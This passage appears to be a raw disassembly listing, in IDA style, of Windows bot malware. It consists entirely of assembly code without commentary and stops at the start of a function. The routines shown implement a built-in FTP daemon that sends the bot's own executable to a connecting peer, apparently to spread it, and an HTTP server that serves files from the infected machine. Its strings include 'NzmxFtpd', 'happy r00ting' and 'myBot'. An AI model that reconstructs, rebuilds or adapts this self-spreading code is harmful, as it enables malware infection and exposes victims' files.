loc_405590: ; CODE XREF: sub_405350+218j
push edi
nop
call near ptr 71AB9639h
jmp loc_405937
; ---------------------------------------------------------------------------
lea eax, [ebp+var_334]
push eax
lea eax, [ebp+var_AC]
push eax
lea eax, [ebp+var_29C]
push offset aSS_1 ; "%s %s"
push eax
call sub_417FCC
lea eax, [ebp+var_AC]
push offset aUser_1 ; "USER"
push eax
call sub_4177D0
add esp, 18h
test eax, eax
jnz short loc_4055E0
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_405922
; ---------------------------------------------------------------------------
loc_4055E0: ; CODE XREF: sub_405350+281j
lea eax, [ebp+var_AC]
push offset aPass ; "PASS"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405604
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_405922
; ---------------------------------------------------------------------------
loc_405604: ; CODE XREF: sub_405350+2A5j
lea eax, [ebp+var_AC]
push offset aSyst ; "SYST"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405628
push esi
push 0Dh
push offset a215Nzmxftpd ; "215 NzmxFtpd\n"
jmp loc_405922
; ---------------------------------------------------------------------------
loc_405628: ; CODE XREF: sub_405350+2C9j
lea eax, [ebp+var_AC]
push offset aRest ; "REST"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40564C
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_405922
; ---------------------------------------------------------------------------
loc_40564C: ; CODE XREF: sub_405350+2EDj
lea eax, [ebp+var_AC]
push offset off_42821C
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405670
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_405922
; ---------------------------------------------------------------------------
loc_405670: ; CODE XREF: sub_405350+311j
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056AB
lea eax, [ebp+var_334]
push offset aA ; "A"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056AB
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_405922
; ---------------------------------------------------------------------------
loc_4056AB: ; CODE XREF: sub_405350+335j
; sub_405350+34Cj
lea eax, [ebp+var_AC]
push offset aType ; "TYPE"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056E6
lea eax, [ebp+var_334]
push offset aI ; "I"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_4056E6
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_405922
; ---------------------------------------------------------------------------
loc_4056E6: ; CODE XREF: sub_405350+370j
; sub_405350+387j
lea eax, [ebp+var_AC]
push offset aPasv ; "PASV"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405734
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp+var_124]
rep movsd
push eax
lea eax, [ebp+var_124]
push eax
movsw
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_124]
loc_405724: ; CODE XREF: sub_405350+423j
push eax
push [ebp+arg_0]
call ebx ; send
xor esi, esi
loc_40572C: ; CODE XREF: sub_405350+4F3j
mov edi, [ebp+arg_0]
jmp loc_405925
; ---------------------------------------------------------------------------
loc_405734: ; CODE XREF: sub_405350+3ABj
lea eax, [ebp+var_AC]
push offset aList ; "LIST"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405775
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp+var_C4]
rep movsd
movsw
push eax
lea eax, [ebp+var_C4]
push eax
movsb
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_C4]
jmp short loc_405724
; ---------------------------------------------------------------------------
loc_405775: ; CODE XREF: sub_405350+3F9j
lea eax, [ebp+var_AC]
push offset aPort ; "PORT"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_405848
lea eax, [ebp+var_2D0]
push eax
lea eax, [ebp+var_F8]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_29C]
push offset aS ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_417FCC
lea eax, [ebp+var_F8]
push eax
call sub_41791F
mov edi, eax
lea eax, [ebp+var_2D0]
push eax
call sub_41791F
mov [ebp+var_8], eax
push 32h
lea eax, [ebp+var_F8]
push esi
push eax
call sub_417430
push [ebp+var_8]
lea eax, [ebp+var_F8]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_4173AC
add esp, 44h
lea eax, [ebp+var_F8]
push 10h
push esi
push eax
call sub_417FB5
mov [ebp+var_8], eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_48]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_4173AC
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push [ebp+arg_0]
call ebx ; send
jmp loc_40572C
; ---------------------------------------------------------------------------
loc_405848: ; CODE XREF: sub_405350+43Aj
lea eax, [ebp+var_AC]
push offset aRetr ; "RETR"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_405903
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; send
push [ebp+var_8]
lea eax, [ebp+var_48]
push eax
call sub_405953
pop ecx
cmp eax, 1
pop ecx
jnz short loc_4058F9
call sub_4059D0
cmp eax, 1
jnz loc_405925
push esi
push 17h
push offset a226TransferC_0 ; "226 Transfer complete.\n"
push edi
call ebx ; send
lea eax, [ebp+var_6D8]
push eax
lea eax, [ebp+var_48]
push dword_43C64C
push eax
lea eax, [ebp+var_8DC]
push offset unk_428080
push eax
call sub_4173AC
add esp, 14h
cmp [ebp+var_440], esi
jnz short loc_4058EA
push esi
lea eax, [ebp+var_8DC]
push [ebp+var_444]
push eax
lea eax, [ebp+var_4C4]
push eax
push [ebp+var_6DC]
call sub_40DC10
add esp, 14h
loc_4058EA: ; CODE XREF: sub_405350+575j
lea eax, [ebp+var_8DC]
push eax
call sub_40C4F7
pop ecx
jmp short loc_405925
; ---------------------------------------------------------------------------
loc_4058F9: ; CODE XREF: sub_405350+52Fj
push esi
push 20h
push offset a425CanTOpenDat ; "425 Can't open data connection.\n"
jmp short loc_405922
; ---------------------------------------------------------------------------
loc_405903: ; CODE XREF: sub_405350+50Dj
lea eax, [ebp+var_AC]
push offset aQuit ; "QUIT"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_405925
push esi
push 1Bh
push offset a221GoodbyeHapp ; "221 Goodbye happy r00ting.\n"
loc_405922: ; CODE XREF: sub_405350+28Bj
; sub_405350+2AFj ...
push edi
call ebx ; send
loc_405925: ; CODE XREF: sub_405350+3DFj
; sub_405350+539j ...
push 64h
lea eax, [ebp+var_29C]
push esi
push eax
call sub_417430
add esp, 0Ch
loc_405937: ; CODE XREF: sub_405350+1E0j
; sub_405350+247j
inc edi
cmp edi, [ebp+var_4]
mov [ebp+arg_0], edi
jle loc_40547E
jmp loc_405443
; ---------------------------------------------------------------------------
loc_405949: ; CODE XREF: sub_405350+11Ej
push 1
pop eax
loc_40594C: ; CODE XREF: sub_405350+D0j
pop edi
pop esi
pop ebx
leave
retn 4
sub_405350 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405953 proc near ; CODE XREF: sub_405350+525p
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 1A0h
lea eax, [ebp+var_1A0]
push eax
push 101h
nop
call near ptr 71AB664Dh
push 0
push 1
push 2
nop
call near ptr 71AB3B91h
push [ebp+arg_0]
mov dword_43C648, eax
mov [ebp+var_10], 2
nop
call near ptr 71AB2BF4h
push [ebp+arg_4]
mov [ebp+var_C], eax
nop
call near ptr 71AB2B66h
mov [ebp+var_E], ax
lea eax, [ebp+var_10]
push 10h
push eax
push dword_43C648
nop
call near ptr 71AB406Ah
cmp eax, 0FFFFFFFFh
jnz short loc_4059CB
push dword_43C648
nop
call near ptr 71AB9639h
nop
call near ptr 71AB4428h
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4059CB: ; CODE XREF: sub_405953+60j
push 1
pop eax
leave
retn
sub_405953 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4059D0 proc near ; CODE XREF: sub_405350+531p
var_504 = byte ptr -504h
var_104 = byte ptr -104h
push ebp
mov ebp, esp
sub esp, 504h
push esi
lea eax, [ebp+var_104]
push 104h
push eax
push 0
nop
call near ptr 7C80B4CFh
lea eax, [ebp+var_104]
push offset aRb ; "rb"
push eax
call sub_41823A
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_405A67
test byte ptr [esi+0Ch], 10h
jnz short loc_405A4B
push edi
mov edi, 400h
loc_405A13: ; CODE XREF: sub_4059D0+78j
push esi
push 1
lea eax, [ebp+var_504]
push edi
push eax
call sub_418132
add esp, 10h
lea eax, [ebp+var_504]
push 0
push edi
push eax
push dword_43C648
nop
call near ptr 71AB428Ah
push 1
nop
call near ptr 7C802442h
test byte ptr [esi+0Ch], 10h
jz short loc_405A13
pop edi
loc_405A4B: ; CODE XREF: sub_4059D0+3Bj
push esi
call sub_4180DC
pop ecx
push dword_43C648
nop
call near ptr 71AB9639h
nop
call near ptr 71AB4428h
push 1
pop eax
loc_405A67: ; CODE XREF: sub_4059D0+35j
pop esi
leave
retn
sub_4059D0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405A6A proc near ; DATA XREF: sub_4071BD+333o
; sub_40F6F1+5763o
var_28F0 = byte ptr -28F0h
var_18F0 = byte ptr -18F0h
var_8F0 = byte ptr -8F0h
var_6F0 = byte ptr -6F0h
var_5EC = dword ptr -5ECh
var_5E8 = byte ptr -5E8h
var_360 = byte ptr -360h
var_25C = dword ptr -25Ch
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_23C = byte ptr -23Ch
var_138 = dword ptr -138h
var_134 = dword ptr -134h
var_34 = byte ptr -34h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 28F0h
call sub_417B70
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_5EC]
push 1
rep movsd
pop esi
xor ebx, ebx
mov [eax+3ACh], esi
push 10h
lea eax, [ebp+var_24]
push ebx
push eax
mov [ebp+var_14], esi
call sub_417430
add esp, 0Ch
mov [ebp+var_24], 2
push [ebp+var_25C]
call dword_4413B8 ; ntohs
push ebx
push esi
push 2
mov [ebp+var_22], ax
mov [ebp+var_20], ebx
call dword_441438 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
mov [ebp+var_C], edi
jz loc_405E55
mov eax, [ebp+var_254]
push 10h
imul eax, 234h
mov dword_446E1C[eax], edi
lea eax, [ebp+var_24]
push eax
push edi
call dword_4413E4 ; bind
cmp eax, 0FFFFFFFFh
jz loc_405E55
push 7FFFFFFFh
push edi
call dword_4413E0 ; listen
cmp eax, 0FFFFFFFFh
jz loc_405E55
lea eax, [ebp+var_14]
push eax
push 8004667Eh
push edi
call dword_441454 ; ioctlsocket
cmp eax, 0FFFFFFFFh
jz loc_405E55
mov ebx, esi
mov [ebp+var_134], edi
mov [ebp+var_138], ebx
mov [ebp+var_8], edi
loc_405B41: ; CODE XREF: sub_405A6A+3E1j
push 41h
xor eax, eax
pop ecx
lea esi, [ebp+var_138]
push eax
push eax
push eax
lea eax, [ebp+var_6F0]
push eax
mov eax, [ebp+var_8]
lea edi, [ebp+var_6F0]
inc eax
rep movsd
push eax
call dword_4413A0 ; select
cmp eax, 0FFFFFFFFh
jz loc_405E50
xor esi, esi
mov [ebp+var_4], esi
loc_405B77: ; CODE XREF: sub_405A6A+3DBj
lea eax, [ebp+var_6F0]
push eax
push esi
call dword_4412B0 ; __WSAFDIsSet
test eax, eax
jz loc_405E3B
cmp esi, [ebp+var_C]
jnz short loc_405BF9
lea eax, [ebp+var_10]
mov [ebp+var_10], 10h
push eax
lea eax, [ebp+var_34]
push eax
push [ebp+var_C]
call dword_44144C ; accept
cmp eax, 0FFFFFFFFh
jz loc_405E3B
xor ecx, ecx
test ebx, ebx
jbe short loc_405BCB
lea edx, [ebp+var_134]
loc_405BBF: ; CODE XREF: sub_405A6A+15Fj
cmp [edx], eax
jz short loc_405BCB
inc ecx
add edx, 4
cmp ecx, ebx
jb short loc_405BBF
loc_405BCB: ; CODE XREF: sub_405A6A+14Dj
; sub_405A6A+157j
cmp ecx, ebx
jnz short loc_405BE8
cmp ebx, 40h
jnb short loc_405BE8
mov [ebp+ecx*4+var_134], eax
mov ebx, [ebp+var_138]
inc ebx
mov [ebp+var_138], ebx
loc_405BE8: ; CODE XREF: sub_405A6A+163j
; sub_405A6A+168j
cmp eax, [ebp+var_8]
jbe loc_405E3B
mov [ebp+var_8], eax
jmp loc_405E3B
; ---------------------------------------------------------------------------
loc_405BF9: ; CODE XREF: sub_405A6A+126j
mov edi, 1000h
lea eax, [ebp+var_28F0]
push edi
push 0
push eax
call sub_417430
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417430
add esp, 18h
lea eax, [ebp+var_28F0]
push 0
push edi
push eax
push esi
call dword_4413D0 ; recv
test eax, eax
jg short loc_405C8C
push esi
call dword_441450 ; closesocket
xor ecx, ecx
test ebx, ebx
jbe loc_405E3B
lea eax, [ebp+var_134]
loc_405C4B: ; CODE XREF: sub_405A6A+1EBj
cmp [eax], esi
jz short loc_405C5C
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405C4B
jmp loc_405E3B
; ---------------------------------------------------------------------------
loc_405C5C: ; CODE XREF: sub_405A6A+1E3j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405C80
lea eax, [ebp+ecx*4+var_134]
loc_405C6A: ; CODE XREF: sub_405A6A+214j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405C6A
loc_405C80: ; CODE XREF: sub_405A6A+1F7j
dec ebx
mov [ebp+var_138], ebx
jmp loc_405E3B
; ---------------------------------------------------------------------------
loc_405C8C: ; CODE XREF: sub_405A6A+1C8j
xor esi, esi
push 104h
lea eax, [ebp+var_23C]
push esi
push eax
call sub_417430
lea eax, [ebp+var_28F0]
mov [ebp+arg_0], esi
push eax
call sub_417AF0
add esp, 10h
test eax, eax
jbe loc_405E3B
loc_405CBA: ; CODE XREF: sub_405A6A+309j
mov eax, [ebp+arg_0]
mov al, [ebp+eax+var_28F0]
cmp al, 0Ah
mov [ebp+esi+var_18F0], al
jnz loc_405D5F
mov esi, offset aGet ; "GET "
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_417980
pop ecx
test eax, eax
pop ecx
jz short loc_405D33
lea eax, [ebp+var_18F0]
push eax
call sub_417AF0
cmp eax, 5
pop ecx
jbe short loc_405D33
mov eax, offset asc_428300 ; " "
push eax
push eax
lea eax, [ebp+var_18F0]
push esi
push eax
call sub_417980
pop ecx
pop ecx
push eax
call sub_417980
pop ecx
pop ecx
push eax
call sub_41824D
push eax
lea eax, [ebp+var_23C]
push eax
call sub_417A00
add esp, 10h
jmp short loc_405D4A
; ---------------------------------------------------------------------------
loc_405D33: ; CODE XREF: sub_405A6A+27Fj
; sub_405A6A+291j
lea eax, [ebp+var_18F0]
push offset asc_4282FC ; "\r\n"
push eax
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz short loc_405D7E
loc_405D4A: ; CODE XREF: sub_405A6A+2C7j
push edi
lea eax, [ebp+var_18F0]
push 0
push eax
call sub_417430
add esp, 0Ch
or esi, 0FFFFFFFFh
loc_405D5F: ; CODE XREF: sub_405A6A+263j
inc [ebp+arg_0]
lea eax, [ebp+var_28F0]
push eax
inc esi
call sub_417AF0
cmp [ebp+arg_0], eax
pop ecx
jb loc_405CBA
jmp loc_405E3B
; ---------------------------------------------------------------------------
loc_405D7E: ; CODE XREF: sub_405A6A+2DEj
xor ecx, ecx
test ebx, ebx
jbe short loc_405DC8
lea eax, [ebp+var_134]
loc_405D8A: ; CODE XREF: sub_405A6A+32Dj
mov esi, [ebp+var_4]
cmp [eax], esi
jz short loc_405D9B
inc ecx
add eax, 4
cmp ecx, ebx
jb short loc_405D8A
jmp short loc_405DCB
; ---------------------------------------------------------------------------
loc_405D9B: ; CODE XREF: sub_405A6A+325j
lea eax, [ebx-1]
cmp ecx, eax
jnb short loc_405DBF
lea eax, [ebp+ecx*4+var_134]
loc_405DA9: ; CODE XREF: sub_405A6A+353j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov ebx, [ebp+var_138]
add eax, 4
lea edx, [ebx-1]
cmp ecx, edx
jb short loc_405DA9
loc_405DBF: ; CODE XREF: sub_405A6A+336j
dec ebx
mov [ebp+var_138], ebx
jmp short loc_405DCB
; ---------------------------------------------------------------------------
loc_405DC8: ; CODE XREF: sub_405A6A+318j
mov esi, [ebp+var_4]
loc_405DCB: ; CODE XREF: sub_405A6A+32Fj
; sub_405A6A+35Cj
lea eax, [ebp+var_23C]
test eax, eax
jz short loc_405E34
lea eax, [ebp+var_360]
push eax
call sub_417AF0
mov edi, eax
lea eax, [ebp+var_23C]
push eax
call sub_417AF0
add edi, eax
pop ecx
cmp edi, 104h
pop ecx
jnb short loc_405E34
and [ebp+arg_0], 0
lea eax, [ebp+arg_0]
push eax
push 8004667Eh
push esi
call dword_441454 ; ioctlsocket
push [ebp+var_254]
lea eax, [ebp+var_23C]
push [ebp+var_248]
push eax
lea eax, [ebp+var_360]
push eax
push esi
call sub_406047
add esp, 14h
jmp short loc_405E3B
; ---------------------------------------------------------------------------
loc_405E34: ; CODE XREF: sub_405A6A+369j
; sub_405A6A+38Fj
push esi
call dword_441450 ; closesocket
loc_405E3B: ; CODE XREF: sub_405A6A+11Dj
; sub_405A6A+143j ...
mov esi, [ebp+var_4]
inc esi
cmp esi, [ebp+var_8]
mov [ebp+var_4], esi
jbe loc_405B77
jmp loc_405B41
; ---------------------------------------------------------------------------
loc_405E50: ; CODE XREF: sub_405A6A+102j
mov edi, [ebp+var_C]
xor ebx, ebx
loc_405E55: ; CODE XREF: sub_405A6A+6Aj
; sub_405A6A+92j ...
call dword_44134C ; WSAGetLastError
push eax
lea eax, [ebp+var_8F0]
push offset unk_4282B8
push eax
call sub_4173AC
add esp, 0Ch
cmp [ebp+var_24C], ebx
jnz short loc_405E9B
push ebx
lea eax, [ebp+var_8F0]
push [ebp+var_250]
push eax
lea eax, [ebp+var_5E8]
push eax
push [ebp+var_5EC]
call sub_40DC10
add esp, 14h
loc_405E9B: ; CODE XREF: sub_405A6A+40Cj
lea eax, [ebp+var_8F0]
push eax
call sub_40C4F7
pop ecx
push edi
call dword_441450 ; closesocket
push [ebp+var_254]
call sub_417174
pop ecx
push ebx
nop
call near ptr 7C80C058h
pop edi
pop esi
pop ebx
sub_405A6A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405EC5 proc near ; DATA XREF: sub_406047+246o
var_1654 = byte ptr -1654h
var_654 = byte ptr -654h
var_550 = byte ptr -550h
var_44C = dword ptr -44Ch
var_3C8 = byte ptr -3C8h
var_2C4 = byte ptr -2C4h
var_B8 = dword ptr -0B8h
var_B4 = dword ptr -0B4h
var_A4 = dword ptr -0A4h
var_9C = byte ptr -9Ch
var_68 = byte ptr -68h
var_20 = byte ptr -20h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 1654h
call sub_417B70
mov eax, [ebp+arg_0]
push esi
push edi
mov ecx, 0ECh
mov esi, eax
lea edi, [ebp+var_44C]
rep movsd
mov dword ptr [eax+3ACh], 1
lea eax, [ebp+var_3C8]
push eax
lea eax, [ebp+var_550]
push eax
call sub_4173AC
lea eax, [ebp+var_2C4]
push eax
lea eax, [ebp+var_654]
push eax
call sub_4173AC
xor edi, edi
add esp, 10h
cmp [ebp+var_A4], edi
jz short loc_405F2A
push offset aTextHtml ; "text/html"
jmp short loc_405F2F
; ---------------------------------------------------------------------------
loc_405F2A: ; CODE XREF: sub_405EC5+5Cj
push offset aApplicationOct ; "application/octet-stream"
loc_405F2F: ; CODE XREF: sub_405EC5+63j
lea eax, [ebp+var_9C]
push eax
call sub_4173AC
pop ecx
lea eax, [ebp+var_68]
pop ecx
mov esi, 409h
push 46h
push eax
push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy"
push edi
push edi
push esi
nop
call near ptr 7C8361EEh
lea eax, [ebp+var_20]
push 1Eh
push eax
push offset aHhMmSs ; "HH:mm:ss"
push edi
push edi
push esi
nop
call near ptr 7C83632Dh
lea eax, [ebp+var_20]
cmp [ebp+var_B8], 0FFFFFFFFh
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_68]
push eax
jnz short loc_405FA8
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4173AC
add esp, 24h
jmp short loc_405FC9
; ---------------------------------------------------------------------------
loc_405FA8: ; CODE XREF: sub_405EC5+C4j
push [ebp+var_B8]
lea eax, [ebp+var_9C]
push eax
lea eax, [ebp+var_1654]
push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
push eax
call sub_4173AC
add esp, 28h
loc_405FC9: ; CODE XREF: sub_405EC5+E1j
lea eax, [ebp+var_1654]
push edi
push eax
call sub_417AF0
pop ecx
push eax
lea eax, [ebp+var_1654]
push eax
push [ebp+var_44C]
call dword_441408 ; send
cmp [ebp+var_A4], edi
jnz short loc_406009
lea eax, [ebp+var_550]
push eax
push [ebp+var_44C]
call sub_406979
pop ecx
pop ecx
jmp short loc_406026
; ---------------------------------------------------------------------------
loc_406009: ; CODE XREF: sub_405EC5+12Cj
lea eax, [ebp+var_654]
push eax
push edi
push [ebp+var_44C]
lea eax, [ebp+var_550]
push eax
call sub_4062F7
add esp, 10h
loc_406026: ; CODE XREF: sub_405EC5+142j
push [ebp+var_44C]
call dword_441450 ; closesocket
push [ebp+var_B4]
call sub_417174
pop ecx
push edi
nop
call near ptr 7C80C058h
pop edi
pop esi
sub_405EC5 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406047 proc near ; CODE XREF: sub_405A6A+3C0p
var_8C4 = byte ptr -8C4h
var_6C4 = dword ptr -6C4h
var_640 = byte ptr -640h
var_53C = byte ptr -53Ch
var_330 = dword ptr -330h
var_32C = dword ptr -32Ch
var_31C = dword ptr -31Ch
var_318 = dword ptr -318h
var_314 = byte ptr -314h
var_211 = byte ptr -211h
var_210 = byte ptr -210h
var_10C = byte ptr -10Ch
var_10B = byte ptr -10Bh
var_10A = byte ptr -10Ah
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 8C4h
push ebx
push esi
push edi
xor edi, edi
push 104h
lea eax, [ebp+var_210]
push edi
push eax
mov [ebp+var_4], edi
call sub_417430
mov eax, [ebp+arg_8]
add esp, 0Ch
cmp byte ptr [eax], 2Fh
jz short loc_40607D
push eax
push offset aS_2 ; "\\%s"
jmp short loc_406086
; ---------------------------------------------------------------------------
loc_40607D: ; CODE XREF: sub_406047+2Cj
push eax
mov byte ptr [eax], 5Ch
push offset dword_42433C
loc_406086: ; CODE XREF: sub_406047+34j
lea eax, [ebp+var_10C]
push eax
call sub_4173AC
add esp, 0Ch
lea eax, [ebp+var_10C]
xor esi, esi
xor ebx, ebx
push eax
call sub_417AF0
test eax, eax
pop ecx
jbe short loc_406121
mov [ebp+arg_8], 2
loc_4060B1: ; CODE XREF: sub_406047+D8j
lea eax, [ebp+var_10C]
push eax
call sub_417AF0
cmp [ebp+arg_8], eax
pop ecx
jnb short loc_4060F1
cmp [ebp+esi+var_10C], 25h
jnz short loc_4060F1
cmp [ebp+esi+var_10B], 32h
jnz short loc_4060F1
cmp [ebp+esi+var_10A], 30h
jnz short loc_4060F1
inc esi
mov [ebp+ebx+var_210], 20h
inc esi
add [ebp+arg_8], 2
jmp short loc_40610B
; ---------------------------------------------------------------------------
loc_4060F1: ; CODE XREF: sub_406047+7Aj
; sub_406047+84j ...
mov al, [ebp+esi+var_10C]
cmp al, 2Fh
jnz short loc_406101
push 5Ch
pop eax
jmp short loc_406104
; ---------------------------------------------------------------------------
loc_406101: ; CODE XREF: sub_406047+B3j
movsx eax, al
loc_406104: ; CODE XREF: sub_406047+B8j
mov [ebp+ebx+var_210], al
loc_40610B: ; CODE XREF: sub_406047+A8j
lea eax, [ebp+var_10C]
inc esi
inc [ebp+arg_8]
push eax
inc ebx
call sub_417AF0
cmp esi, eax
pop ecx
jb short loc_4060B1
loc_406121: ; CODE XREF: sub_406047+61j
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_314]
push [ebp+arg_4]
push offset aSS_2 ; "%s%s"
push eax
call sub_4173AC
lea eax, [ebp+var_314]
push offset asc_4285AC ; "\n"
push eax
call sub_41824D
add esp, 18h
lea eax, [ebp+var_314]
push eax
nop
call near ptr 7C81153Ch
push 1
cmp eax, 10h
pop esi
jz short loc_40616F
cmp eax, 0FFFFFFFFh
jnz short loc_406172
push [ebp+arg_0]
jmp short loc_4061EE
; ---------------------------------------------------------------------------
loc_40616F: ; CODE XREF: sub_406047+11Cj
mov [ebp+var_4], esi
loc_406172: ; CODE XREF: sub_406047+121j
cmp [ebp+ebx+var_211], 5Ch
jnz short loc_40617F
mov [ebp+var_4], esi
loc_40617F: ; CODE XREF: sub_406047+133j
mov ebx, [ebp+arg_0]
cmp [ebp+var_4], edi
mov [ebp+var_6C4], ebx
mov [ebp+var_318], edi
jz short loc_4061F9
cmp [ebp+arg_C], edi
jz short loc_4061ED
lea eax, [ebp+var_314]
push offset asc_4285A8 ; "*"
push eax
call sub_417A10
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4173AC
lea eax, [ebp+var_210]
push eax
call sub_406A36
lea eax, [ebp+var_210]
push eax
lea eax, [ebp+var_53C]
push eax
call sub_4173AC
add esp, 1Ch
or [ebp+var_330], 0FFFFFFFFh
mov [ebp+var_31C], esi
jmp short loc_406248
; ---------------------------------------------------------------------------
loc_4061ED: ; CODE XREF: sub_406047+14Fj
push ebx
loc_4061EE: ; CODE XREF: sub_406047+126j
call dword_441450 ; closesocket
jmp loc_4062F0
; ---------------------------------------------------------------------------
loc_4061F9: ; CODE XREF: sub_406047+14Aj
push edi
push edi
push 3
push edi
push esi
lea eax, [ebp+var_314]
push 80000000h
push eax
nop
call near ptr 7C801A24h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_406248
lea eax, [ebp+var_314]
push eax
lea eax, [ebp+var_640]
push eax
call sub_4173AC
pop ecx
mov [ebp+var_31C], edi
pop ecx
push edi
push esi
nop
call near ptr 7C810A77h
push esi
mov [ebp+var_330], eax
nop
call near ptr 7C809B47h
loc_406248: ; CODE XREF: sub_406047+1A4j
; sub_406047+1CFj
mov esi, [ebp+arg_10]
lea eax, [ebp+var_8C4]
push esi
push offset unk_428568
push eax
call sub_4173AC
push edi
lea eax, [ebp+var_8C4]
push 3
push eax
call sub_416E58
mov [ebp+var_32C], eax
imul eax, 234h
add esp, 18h
mov dword_446E14[eax], esi
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_6C4]
push edi
push eax
push offset sub_405EC5
push edi
push edi
nop
call near ptr 7C810637h
mov ecx, [ebp+var_32C]
imul ecx, 234h
cmp eax, edi
mov dword_446E24[ecx], eax
jz short loc_4062C2
loc_4062B0: ; CODE XREF: sub_406047+279j
cmp [ebp+var_318], edi
jnz short loc_4062F0
push 5
nop
call near ptr 7C802442h
jmp short loc_4062B0
; ---------------------------------------------------------------------------
loc_4062C2: ; CODE XREF: sub_406047+267j
push ebx
call dword_441450 ; closesocket
nop
call near ptr 7C910331h
push eax
lea eax, [ebp+var_8C4]
push offset unk_428520
push eax
call sub_4173AC
lea eax, [ebp+var_8C4]
push eax
call sub_40C4F7
add esp, 10h
loc_4062F0: ; CODE XREF: sub_406047+1ADj
; sub_406047+26Fj
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn
sub_406047 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4062F7 proc near ; CODE XREF: sub_405EC5+159p
; sub_40F6F1+4C54p
var_594 = byte ptr -594h
